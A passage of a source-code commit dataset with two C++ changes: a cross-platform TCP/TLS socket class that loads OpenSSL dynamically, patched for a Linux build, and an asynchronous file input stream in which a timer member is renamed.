*ssl)>(\"SSL_connect\");\n SSL_get_verify_result = libssl->getFunction<long (*)(const SSL *ssl)>(\"SSL_get_verify_result\");\n SSL_read = libssl->getFunction<int (*)(SSL *ssl, void *buf, int num)>(\"SSL_read\");\n SSL_write = libssl->getFunction<int (*)(SSL *ssl, const void *buf, int num)>(\"SSL_write\");\n SSL_free = libssl->getFunction<void (*)(SSL *ssl)>(\"SSL_free\");\n\n#ifdef _WIN32\n HCERTSTORE hStore;\n PCCERT_CONTEXT pContext = NULL;\n X509 *x509;\n X509_STORE *store = X509_STORE_new();\n\n hStore = CertOpenSystemStore(0, \"ROOT\");\n while((pContext = CertEnumCertificatesInStore(hStore, pContext)) != nullptr)\n {\n const unsigned char* c = pContext->pbCertEncoded;\n x509 = d2i_X509(nullptr, &c, pContext->cbCertEncoded);\n if (x509)\n {\n X509_STORE_add_cert(store, x509);\n X509_free(x509);\n }\n }\n CertFreeCertificateContext(pContext);\n CertCloseStore(hStore, 0);\n#endif\n\n ssl_context = SSL_CTX_new(TLSv1_2_client_method());\n SSL_CTX_set_options(ssl_context, SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 | SSL_OP_NO_TLSv1 | SSL_OP_NO_TLSv1_1);\n#ifdef _WIN32\n SSL_CTX_set_cert_store(ssl_context, store);\n#else\n SSL_CTX_set_default_verify_paths(ssl_context);\n#endif\n#endif\n}\n\n\nnamespace sp {\nnamespace io {\nnamespace network {\n\n\nTcpSocket::TcpSocket()\n: ssl_handle(nullptr)\n{\n}\n\nTcpSocket::~TcpSocket()\n{\n close();\n}\n\nbool TcpSocket::connect(const Address& host, int port)\n{\n if (handle != INVALID_SOCKET)\n close();\n \n for(const auto& addr_info : host.addr_info)\n {\n handle = ::socket(addr_info.family, SOCK_STREAM, 0);\n if (handle == INVALID_SOCKET)\n return false;\n setBlocking(blocking);\n if (addr_info.family == AF_INET && sizeof(struct sockaddr_in) == addr_info.addr.size())\n {\n struct sockaddr_in server_addr;\n memset(&server_addr, 0, sizeof(server_addr));\n memcpy(&server_addr, addr_info.addr.data(), addr_info.addr.size());\n server_addr.sin_port = htons(port);\n if (::connect(handle, reinterpret_cast<const sockaddr*>(&server_addr), sizeof(server_addr)) == 0)\n return true;\n if (isLastErrorNonBlocking())\n {\n connecting = true;\n return true;\n }\n }\n if (addr_info.family == AF_INET6 && sizeof(struct sockaddr_in6) == addr_info.addr.size())\n {\n struct sockaddr_in6 server_addr;\n memset(&server_addr, 0, sizeof(server_addr));\n memcpy(&server_addr, addr_info.addr.data(), addr_info.addr.size());\n server_addr.sin6_port = htons(port);\n if (::connect(handle, reinterpret_cast<const sockaddr*>(&server_addr), sizeof(server_addr)) == 0)\n return true;\n if (isLastErrorNonBlocking())\n {\n connecting = true;\n return true;\n }\n }\n close();\n }\n return false;\n}\n\nbool TcpSocket::connectSSL(const Address& host, int port)\n{\n if (!connect(host, port))\n return false;\n initializeLibSSL();\n if (!SSL_new)\n {\n LOG(Warning, \"Failed to connect SSL socket due to missing libssl\/libcrypto v1.1\");\n close();\n return false;\n }\n \n ssl_handle = SSL_new(ssl_context);\n SSL_set_fd(static_cast<SSL*>(ssl_handle), static_cast<int>(handle));\n if (!SSL_connect(static_cast<SSL*>(ssl_handle)))\n {\n LOG(Warning, \"Failed to connect SSL socket due to SSL negotiation failure.\");\n close();\n return false;\n }\n if (SSL_get_verify_result(static_cast<SSL*>(ssl_handle)) != 0)\n {\n LOG(Warning, \"Failed to connect SSL socket due to certificate verfication failure.\");\n close();\n return false;\n }\n return true;\n}\n\nvoid TcpSocket::setDelay(bool delay)\n{\n if (handle == INVALID_SOCKET)\n {\n LOG(Warning, \"Failed to setDelay due to being called on an incomplete socket\");\n return;\n }\n int mode = delay ? 0 : 1;\n if (setsockopt(handle, IPPROTO_TCP, TCP_NODELAY, (char*)&mode, sizeof(mode)) == -1)\n {\n LOG(Warning, \"Failed to setDelay on a socket\");\n }\n}\n\nvoid TcpSocket::close()\n{\n if (handle != INVALID_SOCKET)\n {\n#ifdef _WIN32\n closesocket(handle);\n#else\n ::close(handle);\n#endif\n handle = INVALID_SOCKET;\n connecting = false;\n clearQueue();\n if (ssl_handle)\n SSL_free(static_cast<SSL*>(ssl_handle));\n ssl_handle = nullptr;\n }\n}\n\nStreamSocket::State TcpSocket::getState()\n{\n if (handle == INVALID_SOCKET)\n return StreamSocket::State::Closed;\n if (connecting) {\n struct pollfd fds;\n fds.fd = handle;\n fds.events = POLLOUT;\n fds.revents = 0;\n if (WSAPoll(&fds, 1, 0))\n {\n struct sockaddr_in6 server_addr;\n int server_addr_len = sizeof(server_addr);\n if (getpeername(handle, reinterpret_cast<sockaddr*>(&server_addr), &server_addr_len))\n {\n close();\n return StreamSocket::State::Closed;\n }\n connecting = false;\n return StreamSocket::State::Connected;\n }\n return StreamSocket::State::Connecting;\n }\n return StreamSocket::State::Connected;\n}\n\nsize_t TcpSocket::_send(const void* data, size_t size)\n{\n int result;\n if (ssl_handle)\n result = SSL_write(static_cast<SSL*>(ssl_handle), static_cast<const char*>(data), static_cast<int>(size));\n else\n result = ::send(handle, reinterpret_cast<const void *>(static_cast<const char*>(data)), size, flags);\n if (result < 0)\n {\n if (!isLastErrorNonBlocking())\n close();\n return 0;\n }\n return result;\n}\n\nsize_t TcpSocket::_receive(void* data, size_t size)\n{\n int result;\n if (ssl_handle)\n result = SSL_read(static_cast<SSL*>(ssl_handle), static_cast<char*>(data), static_cast<int>(size));\n else\n result = ::recv(handle, data, size, flags);\n if (result < 0)\n {\n result = 0;\n if (!isLastErrorNonBlocking())\n close();\n }\n return result;\n}\n\n}\/\/namespace network\n}\/\/namespace io\n}\/\/namespace sp\n<commit_msg>linux build fix?<commit_after>#include <io\/network\/tcpSocket.h>\n#include <logging.h>\n\n#ifdef _WIN32\n#include <winsock2.h>\n#include <ws2tcpip.h>\nstatic constexpr int flags = 0;\n\nstatic inline int send(SOCKET s, const void* msg, size_t len, int flags)\n{\n return send(s, static_cast<const char*>(msg), static_cast<int>(len), flags);\n}\n\nstatic inline int recv(SOCKET s, void* buf, size_t len, int flags)\n{\n return recv(s, static_cast<char*>(buf), static_cast<int>(len), flags);\n}\n\n#else\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <unistd.h>\n#include <netinet\/in.h>\n#include <netinet\/tcp.h>\n#include <arpa\/inet.h>\n#include <string.h>\n#include <poll.h>\nstatic constexpr int flags = MSG_NOSIGNAL;\nstatic constexpr intptr_t INVALID_SOCKET = -1;\n#endif\n\n\nextern \"C\" {\n struct X509;\n struct X509_STORE;\n struct SSL_CTX;\n struct SSL_METHOD;\n struct SSL;\n\n static X509_STORE* (*X509_STORE_new)();\n static X509* (*d2i_X509)(X509**, const unsigned char **, long);\n static int (*X509_STORE_add_cert)(X509_STORE*, X509*);\n static void (*X509_free)(X509*);\n static SSL_CTX* (*SSL_CTX_new)(const SSL_METHOD*);\n static const SSL_METHOD* (*TLSv1_2_client_method)();\n static long (*SSL_CTX_set_options)(SSL_CTX*, long);\n static int (*SSL_CTX_set_default_verify_paths)(SSL_CTX*);\n static void (*SSL_CTX_set_cert_store)(SSL_CTX*, X509_STORE*);\n static SSL* (*SSL_new)(SSL_CTX*);\n static int (*SSL_set_fd)(SSL *ssl, int fd);\n static int (*SSL_connect)(SSL *ssl);\n static long (*SSL_get_verify_result)(const SSL *ssl);\n static int (*SSL_read)(SSL *ssl, void *buf, int num);\n static int (*SSL_write)(SSL *ssl, const void *buf, int num);\n static void (*SSL_free)(SSL *ssl);\n \n static SSL_CTX* ssl_context;\n}\n\n# define SSL_OP_NO_SSLv2 0x01000000L\n# define SSL_OP_NO_SSLv3 0x02000000L\n# define SSL_OP_NO_TLSv1 0x04000000L\n# define SSL_OP_NO_TLSv1_2 0x08000000L\n# define SSL_OP_NO_TLSv1_1 0x10000000L\n\n#ifndef __ANDROID__\n#include \"dynamicLibrary.h\"\n\nstatic std::unique_ptr<DynamicLibrary> libcrypto;\nstatic std::unique_ptr<DynamicLibrary> libssl;\n#endif\n\nstatic void initializeLibSSL()\n{\n static bool initialized = false;\n if (initialized) return;\n initialized = true;\n\n#ifndef __ANDROID__\n#ifdef _WIN32\n libcrypto = DynamicLibrary::open(\"libcrypto-1_1.dll\");\n libssl = DynamicLibrary::open(\"libssl-1_1.dll\");\n#else\n libcrypto = DynamicLibrary::open(\"libcrypto.so.1.1\");\n libssl = DynamicLibrary::open(\"libssl.so.1.1\");\n#endif\n if (!libcrypto || !libssl)\n return;\n\n X509_STORE_new = libcrypto->getFunction<X509_STORE*(*)()>(\"X509_STORE_new\");\n d2i_X509 = libcrypto->getFunction<X509* (*)(X509**, const unsigned char **, long)>(\"d2i_X509\");\n X509_STORE_add_cert = libcrypto->getFunction<int (*)(X509_STORE*, X509*)>(\"X509_STORE_add_cert\");\n X509_free = libcrypto->getFunction<void (*)(X509*)>(\"X509_free\");\n\n SSL_CTX_new = libssl->getFunction<SSL_CTX*(*)(const SSL_METHOD*)>(\"SSL_CTX_new\");\n TLSv1_2_client_method = libssl->getFunction<const SSL_METHOD* (*)()>(\"TLSv1_2_client_method\");\n SSL_CTX_set_options = libssl->getFunction<long (*)(SSL_CTX*, long)>(\"SSL_CTX_set_options\");\n SSL_CTX_set_default_verify_paths = libssl->getFunction<int (*)(SSL_CTX*)>(\"SSL_CTX_set_default_verify_paths\");\n SSL_CTX_set_cert_store = libssl->getFunction<void (*)(SSL_CTX*, X509_STORE*)>(\"SSL_CTX_set_cert_store\");\n SSL_new = libssl->getFunction<SSL* (*)(SSL_CTX*)>(\"SSL_new\");\n SSL_set_fd = libssl->getFunction<int (*)(SSL *ssl, int fd)>(\"SSL_set_fd\");\n SSL_connect = libssl->getFunction<int (*)(SSL *ssl)>(\"SSL_connect\");\n SSL_get_verify_result = libssl->getFunction<long (*)(const SSL *ssl)>(\"SSL_get_verify_result\");\n SSL_read = libssl->getFunction<int (*)(SSL *ssl, void *buf, int num)>(\"SSL_read\");\n SSL_write = libssl->getFunction<int (*)(SSL *ssl, const void *buf, int num)>(\"SSL_write\");\n SSL_free = libssl->getFunction<void (*)(SSL *ssl)>(\"SSL_free\");\n\n#ifdef _WIN32\n HCERTSTORE hStore;\n PCCERT_CONTEXT pContext = NULL;\n X509 *x509;\n X509_STORE *store = X509_STORE_new();\n\n hStore = CertOpenSystemStore(0, \"ROOT\");\n while((pContext = CertEnumCertificatesInStore(hStore, pContext)) != nullptr)\n {\n const unsigned char* c = pContext->pbCertEncoded;\n x509 = d2i_X509(nullptr, &c, pContext->cbCertEncoded);\n if (x509)\n {\n X509_STORE_add_cert(store, x509);\n X509_free(x509);\n }\n }\n CertFreeCertificateContext(pContext);\n CertCloseStore(hStore, 0);\n#endif\n\n ssl_context = SSL_CTX_new(TLSv1_2_client_method());\n SSL_CTX_set_options(ssl_context, SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 | SSL_OP_NO_TLSv1 | SSL_OP_NO_TLSv1_1);\n#ifdef _WIN32\n SSL_CTX_set_cert_store(ssl_context, store);\n#else\n SSL_CTX_set_default_verify_paths(ssl_context);\n#endif\n#endif\n}\n\n\nnamespace sp {\nnamespace io {\nnamespace network {\n\n\nTcpSocket::TcpSocket()\n: ssl_handle(nullptr)\n{\n}\n\nTcpSocket::~TcpSocket()\n{\n close();\n}\n\nbool TcpSocket::connect(const Address& host, int port)\n{\n if (handle != INVALID_SOCKET)\n close();\n \n for(const auto& addr_info : host.addr_info)\n {\n handle = ::socket(addr_info.family, SOCK_STREAM, 0);\n if (handle == INVALID_SOCKET)\n return false;\n setBlocking(blocking);\n if (addr_info.family == AF_INET && sizeof(struct sockaddr_in) == addr_info.addr.size())\n {\n struct sockaddr_in server_addr;\n memset(&server_addr, 0, sizeof(server_addr));\n memcpy(&server_addr, addr_info.addr.data(), addr_info.addr.size());\n server_addr.sin_port = htons(port);\n if (::connect(handle, reinterpret_cast<const sockaddr*>(&server_addr), sizeof(server_addr)) == 0)\n return true;\n if (isLastErrorNonBlocking())\n {\n connecting = true;\n return true;\n }\n }\n if (addr_info.family == AF_INET6 && sizeof(struct sockaddr_in6) == addr_info.addr.size())\n {\n struct sockaddr_in6 server_addr;\n memset(&server_addr, 0, sizeof(server_addr));\n memcpy(&server_addr, addr_info.addr.data(), addr_info.addr.size());\n server_addr.sin6_port = htons(port);\n if (::connect(handle, reinterpret_cast<const sockaddr*>(&server_addr), sizeof(server_addr)) == 0)\n return true;\n if (isLastErrorNonBlocking())\n {\n connecting = true;\n return true;\n }\n }\n close();\n }\n return false;\n}\n\nbool TcpSocket::connectSSL(const Address& host, int port)\n{\n if (!connect(host, port))\n return false;\n initializeLibSSL();\n if (!SSL_new)\n {\n LOG(Warning, \"Failed to connect SSL socket due to missing libssl\/libcrypto v1.1\");\n close();\n return false;\n }\n \n ssl_handle = SSL_new(ssl_context);\n SSL_set_fd(static_cast<SSL*>(ssl_handle), static_cast<int>(handle));\n if (!SSL_connect(static_cast<SSL*>(ssl_handle)))\n {\n LOG(Warning, \"Failed to connect SSL socket due to SSL negotiation failure.\");\n close();\n return false;\n }\n if (SSL_get_verify_result(static_cast<SSL*>(ssl_handle)) != 0)\n {\n LOG(Warning, \"Failed to connect SSL socket due to certificate verfication failure.\");\n close();\n return false;\n }\n return true;\n}\n\nvoid TcpSocket::setDelay(bool delay)\n{\n if (handle == INVALID_SOCKET)\n {\n LOG(Warning, \"Failed to setDelay due to being called on an incomplete socket\");\n return;\n }\n int mode = delay ? 0 : 1;\n if (setsockopt(handle, IPPROTO_TCP, TCP_NODELAY, (char*)&mode, sizeof(mode)) == -1)\n {\n LOG(Warning, \"Failed to setDelay on a socket\");\n }\n}\n\nvoid TcpSocket::close()\n{\n if (handle != INVALID_SOCKET)\n {\n#ifdef _WIN32\n closesocket(handle);\n#else\n ::close(handle);\n#endif\n handle = INVALID_SOCKET;\n connecting = false;\n clearQueue();\n if (ssl_handle)\n SSL_free(static_cast<SSL*>(ssl_handle));\n ssl_handle = nullptr;\n }\n}\n\nStreamSocket::State TcpSocket::getState()\n{\n if (handle == INVALID_SOCKET)\n return StreamSocket::State::Closed;\n if (connecting) {\n struct pollfd fds;\n fds.fd = handle;\n fds.events = POLLOUT;\n fds.revents = 0;\n#ifdef WIN32\n if (WSAPoll(&fds, 1, 0))\n#else\n if (poll(&fds, 1, 0))\n#endif\n {\n struct sockaddr_in6 server_addr;\n int server_addr_len = sizeof(server_addr);\n if (getpeername(handle, reinterpret_cast<sockaddr*>(&server_addr), &server_addr_len))\n {\n close();\n return StreamSocket::State::Closed;\n }\n connecting = false;\n return StreamSocket::State::Connected;\n }\n return StreamSocket::State::Connecting;\n }\n return StreamSocket::State::Connected;\n}\n\nsize_t TcpSocket::_send(const void* data, size_t size)\n{\n int result;\n if (ssl_handle)\n result = SSL_write(static_cast<SSL*>(ssl_handle), static_cast<const char*>(data), static_cast<int>(size));\n else\n result = ::send(handle, reinterpret_cast<const void *>(static_cast<const char*>(data)), size, flags);\n if (result < 0)\n {\n if (!isLastErrorNonBlocking())\n close();\n return 0;\n }\n return result;\n}\n\nsize_t TcpSocket::_receive(void* data, size_t size)\n{\n int result;\n if (ssl_handle)\n result = SSL_read(static_cast<SSL*>(ssl_handle), static_cast<char*>(data), static_cast<int>(size));\n else\n result = ::recv(handle, data, size, flags);\n if (result < 0)\n {\n result = 0;\n if (!isLastErrorNonBlocking())\n close();\n }\n return result;\n}\n\n}\/\/namespace network\n}\/\/namespace io\n}\/\/namespace sp\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Asynchronous local file access.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"istream_file.hxx\"\n#include \"istream.hxx\"\n#include \"io\/Buffered.hxx\"\n#include \"io\/UniqueFileDescriptor.hxx\"\n#include \"gerrno.h\"\n#include \"pool.hxx\"\n#include \"fb_pool.hxx\"\n#include \"SliceFifoBuffer.hxx\"\n#include \"event\/TimerEvent.hxx\"\n\n#include <assert.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#include <limits.h>\n\n\/**\n * If EAGAIN occurs (on NFS), we try again after 100ms. We can't\n * check EV_READ, because the kernel always indicates VFS files as\n * \"readable without blocking\".\n *\/\nstatic const struct timeval file_retry_timeout = {\n .tv_sec = 0,\n .tv_usec = 100000,\n};\n\nstruct FileIstream final : public Istream {\n int fd;\n\n FdType fd_type;\n\n \/**\n * A timer to retry reading after EAGAIN.\n *\/\n TimerEvent event;\n\n off_t rest;\n SliceFifoBuffer buffer;\n const char *path;\n\n FileIstream(struct pool &p, EventLoop &event_loop,\n int _fd, FdType _fd_type, off_t _length,\n const char *_path)\n :Istream(p),\n fd(_fd), fd_type(_fd_type),\n event(event_loop, BIND_THIS_METHOD(EventCallback)),\n rest(_length),\n path(_path) {}\n\n ~FileIstream() {\n event.Cancel();\n }\n\n void CloseHandle() {\n if (fd < 0)\n return;\n\n event.Cancel();\n\n close(fd);\n fd = -1;\n\n buffer.FreeIfDefined(fb_pool_get());\n }\n\n void Abort(GError *error) {\n CloseHandle();\n DestroyError(error);\n }\n\n \/**\n * @return the number of bytes still in the buffer\n *\/\n size_t SubmitBuffer() {\n return ConsumeFromBuffer(buffer);\n }\n\n void EofDetected() {\n assert(fd >= 0);\n\n CloseHandle();\n DestroyEof();\n }\n\n gcc_pure\n size_t GetMaxRead() const {\n if (rest != (off_t)-1 && rest < (off_t)INT_MAX)\n return (size_t)rest;\n else\n return INT_MAX;\n }\n\n void TryData();\n void TryDirect();\n\n void TryRead() {\n if (CheckDirect(fd_type))\n TryDirect();\n else\n TryData();\n }\n\n void EventCallback() {\n TryRead();\n }\n\n \/* virtual methods from class Istream *\/\n\n off_t _GetAvailable(bool partial) override;\n off_t _Skip(gcc_unused off_t length) override;\n\n void _Read() override {\n event.Cancel();\n TryRead();\n }\n\n int _AsFd() override;\n void _Close() override {\n CloseHandle();\n Destroy();\n }\n};\n\ninline void\nFileIstream::TryData()\n{\n size_t buffer_rest = 0;\n\n if (buffer.IsNull()) {\n if (rest != 0)\n buffer.Allocate(fb_pool_get());\n } else {\n const size_t available = buffer.GetAvailable();\n if (available > 0) {\n buffer_rest = SubmitBuffer();\n if (buffer_rest == available)\n \/* not a single byte was consumed: we may have been\n closed, and we must bail out now *\/\n return;\n }\n }\n\n if (rest == 0) {\n if (buffer_rest == 0)\n EofDetected();\n return;\n }\n\n ssize_t nbytes = read_to_buffer(fd, buffer, GetMaxRead());\n if (nbytes == 0) {\n if (rest == (off_t)-1) {\n rest = 0;\n if (buffer_rest == 0)\n EofDetected();\n } else {\n GError *error =\n g_error_new(g_file_error_quark(), 0,\n \"premature end of file in '%s'\", path);\n Abort(error);\n }\n return;\n } else if (nbytes == -1) {\n GError *error =\n g_error_new(errno_quark(), errno,\n \"failed to read from '%s': %s\",\n path, strerror(errno));\n Abort(error);\n return;\n } else if (nbytes > 0 && rest != (off_t)-1) {\n rest -= (off_t)nbytes;\n assert(rest >= 0);\n }\n\n assert(!buffer.IsEmpty());\n\n buffer_rest = SubmitBuffer();\n if (buffer_rest == 0 && rest == 0)\n EofDetected();\n}\n\ninline void\nFileIstream::TryDirect()\n{\n \/* first consume the rest of the buffer *\/\n if (SubmitBuffer() > 0)\n return;\n\n if (rest == 0) {\n EofDetected();\n return;\n }\n\n ssize_t nbytes = InvokeDirect(fd_type, fd, GetMaxRead());\n if (nbytes == ISTREAM_RESULT_CLOSED)\n \/* this stream was closed during the direct() callback *\/\n return;\n\n if (nbytes > 0 || nbytes == ISTREAM_RESULT_BLOCKING) {\n \/* -2 means the callback wasn't able to consume any data right\n now *\/\n if (nbytes > 0 && rest != (off_t)-1) {\n rest -= (off_t)nbytes;\n assert(rest >= 0);\n if (rest == 0)\n EofDetected();\n }\n } else if (nbytes == ISTREAM_RESULT_EOF) {\n if (rest == (off_t)-1) {\n EofDetected();\n } else {\n GError *error =\n g_error_new(g_file_error_quark(), 0,\n \"premature end of file in '%s'\", path);\n Abort(error);\n }\n } else if (errno == EAGAIN) {\n \/* this should only happen for splice(SPLICE_F_NONBLOCK) from\n NFS files - unfortunately we cannot use EV_READ here, so we\n just install a timer which retries after 100ms *\/\n\n event.Add(file_retry_timeout);\n } else {\n \/* XXX *\/\n GError *error =\n g_error_new(errno_quark(), errno,\n \"failed to read from '%s': %s\",\n path, strerror(errno));\n Abort(error);\n }\n}\n\n\/*\n * istream implementation\n *\n *\/\n\noff_t\nFileIstream::_GetAvailable(bool partial)\n{\n off_t available;\n if (rest != (off_t)-1)\n available = rest;\n else if (!partial)\n return (off_t)-1;\n else\n available = 0;\n\n available += buffer.GetAvailable();\n return available;\n}\n\noff_t\nFileIstream::_Skip(off_t length)\n{\n event.Cancel();\n\n if (rest == (off_t)-1)\n return (off_t)-1;\n\n if (length == 0)\n return 0;\n\n const size_t buffer_available = buffer.GetAvailable();\n if (length < off_t(buffer_available)) {\n buffer.Consume(length);\n Consumed(length);\n return length;\n }\n\n length -= buffer_available;\n buffer.Clear();\n\n if (length >= rest) {\n \/* skip beyond EOF *\/\n\n length = rest;\n rest = 0;\n } else {\n \/* seek the file descriptor *\/\n\n off_t ret = lseek(fd, length, SEEK_CUR);\n if (ret < 0)\n return -1;\n rest -= length;\n }\n\n off_t result = buffer_available + length;\n Consumed(result);\n return result;\n}\n\nint\nFileIstream::_AsFd()\n{\n int result_fd = fd;\n\n Destroy();\n\n return result_fd;\n}\n\n\/*\n * constructor and public methods\n *\n *\/\n\nIstream *\nistream_file_fd_new(EventLoop &event_loop, struct pool &pool,\n const char *path,\n int fd, FdType fd_type, off_t length)\n{\n assert(fd >= 0);\n assert(length >= -1);\n\n return NewIstream<FileIstream>(pool, event_loop, fd, fd_type, length, path);\n}\n\nIstream *\nistream_file_stat_new(EventLoop &event_loop, struct pool &pool,\n const char *path, struct stat &st,\n GError **error_r)\n{\n assert(path != nullptr);\n\n UniqueFileDescriptor fd;\n if (!fd.OpenReadOnly(path)) {\n set_error_errno(error_r);\n g_prefix_error(error_r, \"Failed to open %s: \", path);\n return nullptr;\n }\n\n if (fstat(fd.Get(), &st) < 0) {\n set_error_errno(error_r);\n g_prefix_error(error_r, \"Failed to stat %s: \", path);\n return nullptr;\n }\n\n FdType fd_type = FdType::FD_FILE;\n off_t size = st.st_size;\n\n if (S_ISCHR(st.st_mode)) {\n fd_type = FdType::FD_CHARDEV;\n size = -1;\n }\n\n return istream_file_fd_new(event_loop, pool, path,\n fd.Steal(), fd_type, size);\n}\n\nIstream *\nistream_file_new(EventLoop &event_loop, struct pool &pool,\n const char *path, off_t length,\n GError **error_r)\n{\n assert(length >= -1);\n\n UniqueFileDescriptor fd;\n if (!fd.OpenReadOnly(path)) {\n set_error_errno(error_r);\n g_prefix_error(error_r, \"Failed to open %s: \", path);\n return nullptr;\n }\n\n return istream_file_fd_new(event_loop, pool, path,\n fd.Steal(), FdType::FD_FILE, length);\n}\n\nint\nistream_file_fd(Istream &istream)\n{\n auto &file = (FileIstream &)istream;\n assert(file.fd >= 0);\n return file.fd;\n}\n\nbool\nistream_file_set_range(Istream &istream, off_t start, off_t end)\n{\n assert(start >= 0);\n assert(end >= start);\n\n auto &file = (FileIstream &)istream;\n assert(file.fd >= 0);\n assert(file.rest >= 0);\n assert(file.buffer.IsNull());\n assert(end <= file.rest);\n\n if (start > 0 && lseek(file.fd, start, SEEK_CUR) < 0)\n return false;\n\n file.rest = end - start;\n return true;\n}\n<commit_msg>istream\/file: rename \"event\" to \"retry_event\"<commit_after>\/*\n * Asynchronous local file access.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"istream_file.hxx\"\n#include \"istream.hxx\"\n#include \"io\/Buffered.hxx\"\n#include \"io\/UniqueFileDescriptor.hxx\"\n#include \"gerrno.h\"\n#include \"pool.hxx\"\n#include \"fb_pool.hxx\"\n#include \"SliceFifoBuffer.hxx\"\n#include \"event\/TimerEvent.hxx\"\n\n#include <assert.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#include <limits.h>\n\n\/**\n * If EAGAIN occurs (on NFS), we try again after 100ms. We can't\n * check EV_READ, because the kernel always indicates VFS files as\n * \"readable without blocking\".\n *\/\nstatic const struct timeval file_retry_timeout = {\n .tv_sec = 0,\n .tv_usec = 100000,\n};\n\nstruct FileIstream final : public Istream {\n int fd;\n\n FdType fd_type;\n\n \/**\n * A timer to retry reading after EAGAIN.\n *\/\n TimerEvent retry_event;\n\n off_t rest;\n SliceFifoBuffer buffer;\n const char *path;\n\n FileIstream(struct pool &p, EventLoop &event_loop,\n int _fd, FdType _fd_type, off_t _length,\n const char *_path)\n :Istream(p),\n fd(_fd), fd_type(_fd_type),\n retry_event(event_loop, BIND_THIS_METHOD(EventCallback)),\n rest(_length),\n path(_path) {}\n\n ~FileIstream() {\n retry_event.Cancel();\n }\n\n void CloseHandle() {\n if (fd < 0)\n return;\n\n retry_event.Cancel();\n\n close(fd);\n fd = -1;\n\n buffer.FreeIfDefined(fb_pool_get());\n }\n\n void Abort(GError *error) {\n CloseHandle();\n DestroyError(error);\n }\n\n \/**\n * @return the number of bytes still in the buffer\n *\/\n size_t SubmitBuffer() {\n return ConsumeFromBuffer(buffer);\n }\n\n void EofDetected() {\n assert(fd >= 0);\n\n CloseHandle();\n DestroyEof();\n }\n\n gcc_pure\n size_t GetMaxRead() const {\n if (rest != (off_t)-1 && rest < (off_t)INT_MAX)\n return (size_t)rest;\n else\n return INT_MAX;\n }\n\n void TryData();\n void TryDirect();\n\n void TryRead() {\n if (CheckDirect(fd_type))\n TryDirect();\n else\n TryData();\n }\n\n void EventCallback() {\n TryRead();\n }\n\n \/* virtual methods from class Istream *\/\n\n off_t _GetAvailable(bool partial) override;\n off_t _Skip(gcc_unused off_t length) override;\n\n void _Read() override {\n retry_event.Cancel();\n TryRead();\n }\n\n int _AsFd() override;\n void _Close() override {\n CloseHandle();\n Destroy();\n }\n};\n\ninline void\nFileIstream::TryData()\n{\n size_t buffer_rest = 0;\n\n if (buffer.IsNull()) {\n if (rest != 0)\n buffer.Allocate(fb_pool_get());\n } else {\n const size_t available = buffer.GetAvailable();\n if (available > 0) {\n buffer_rest = SubmitBuffer();\n if (buffer_rest == available)\n \/* not a single byte was consumed: we may have been\n closed, and we must bail out now *\/\n return;\n }\n }\n\n if (rest == 0) {\n if (buffer_rest == 0)\n EofDetected();\n return;\n }\n\n ssize_t nbytes = read_to_buffer(fd, buffer, GetMaxRead());\n if (nbytes == 0) {\n if (rest == (off_t)-1) {\n rest = 0;\n if (buffer_rest == 0)\n EofDetected();\n } else {\n GError *error =\n g_error_new(g_file_error_quark(), 0,\n \"premature end of file in '%s'\", path);\n Abort(error);\n }\n return;\n } else if (nbytes == -1) {\n GError *error =\n g_error_new(errno_quark(), errno,\n \"failed to read from '%s': %s\",\n path, strerror(errno));\n Abort(error);\n return;\n } else if (nbytes > 0 && rest != (off_t)-1) {\n rest -= (off_t)nbytes;\n assert(rest >= 0);\n }\n\n assert(!buffer.IsEmpty());\n\n buffer_rest = SubmitBuffer();\n if (buffer_rest == 0 && rest == 0)\n EofDetected();\n}\n\ninline void\nFileIstream::TryDirect()\n{\n \/* first consume the rest of the buffer *\/\n if (SubmitBuffer() > 0)\n return;\n\n if (rest == 0) {\n EofDetected();\n return;\n }\n\n ssize_t nbytes = InvokeDirect(fd_type, fd, GetMaxRead());\n if (nbytes == ISTREAM_RESULT_CLOSED)\n \/* this stream was closed during the direct() callback *\/\n return;\n\n if (nbytes > 0 || nbytes == ISTREAM_RESULT_BLOCKING) {\n \/* -2 means the callback wasn't able to consume any data right\n now *\/\n if (nbytes > 0 && rest != (off_t)-1) {\n rest -= (off_t)nbytes;\n assert(rest >= 0);\n if (rest == 0)\n EofDetected();\n }\n } else if (nbytes == ISTREAM_RESULT_EOF) {\n if (rest == (off_t)-1) {\n EofDetected();\n } else {\n GError *error =\n g_error_new(g_file_error_quark(), 0,\n \"premature end of file in '%s'\", path);\n Abort(error);\n }\n } else if (errno == EAGAIN) {\n \/* this should only happen for splice(SPLICE_F_NONBLOCK) from\n NFS files - unfortunately we cannot use EV_READ here, so we\n just install a timer which retries after 100ms *\/\n\n retry_event.Add(file_retry_timeout);\n } else {\n \/* XXX *\/\n GError *error =\n g_error_new(errno_quark(), errno,\n \"failed to read from '%s': %s\",\n path, strerror(errno));\n Abort(error);\n }\n}\n\n\/*\n * istream implementation\n *\n *\/\n\noff_t\nFileIstream::_GetAvailable(bool partial)\n{\n off_t available;\n if (rest != (off_t)-1)\n available = rest;\n else if (!partial)\n return (off_t)-1;\n else\n available = 0;\n\n available += buffer.GetAvailable();\n return available;\n}\n\noff_t\nFileIstream::_Skip(off_t length)\n{\n retry_event.Cancel();\n\n if (rest == (off_t)-1)\n return (off_t)-1;\n\n if (length == 0)\n return 0;\n\n const size_t buffer_available = buffer.GetAvailable();\n if (length < off_t(buffer_available)) {\n buffer.Consume(length);\n Consumed(length);\n return length;\n }\n\n length -= buffer_available;\n buffer.Clear();\n\n if (length >= rest) {\n \/* skip beyond EOF *\/\n\n length = rest;\n rest = 0;\n } else {\n \/* seek the file descriptor *\/\n\n off_t ret = lseek(fd, length, SEEK_CUR);\n if (ret < 0)\n return -1;\n rest -= length;\n }\n\n off_t result = buffer_available + length;\n Consumed(result);\n return result;\n}\n\nint\nFileIstream::_AsFd()\n{\n int result_fd = fd;\n\n Destroy();\n\n return result_fd;\n}\n\n\/*\n * constructor and public methods\n *\n *\/\n\nIstream *\nistream_file_fd_new(EventLoop &event_loop, struct pool 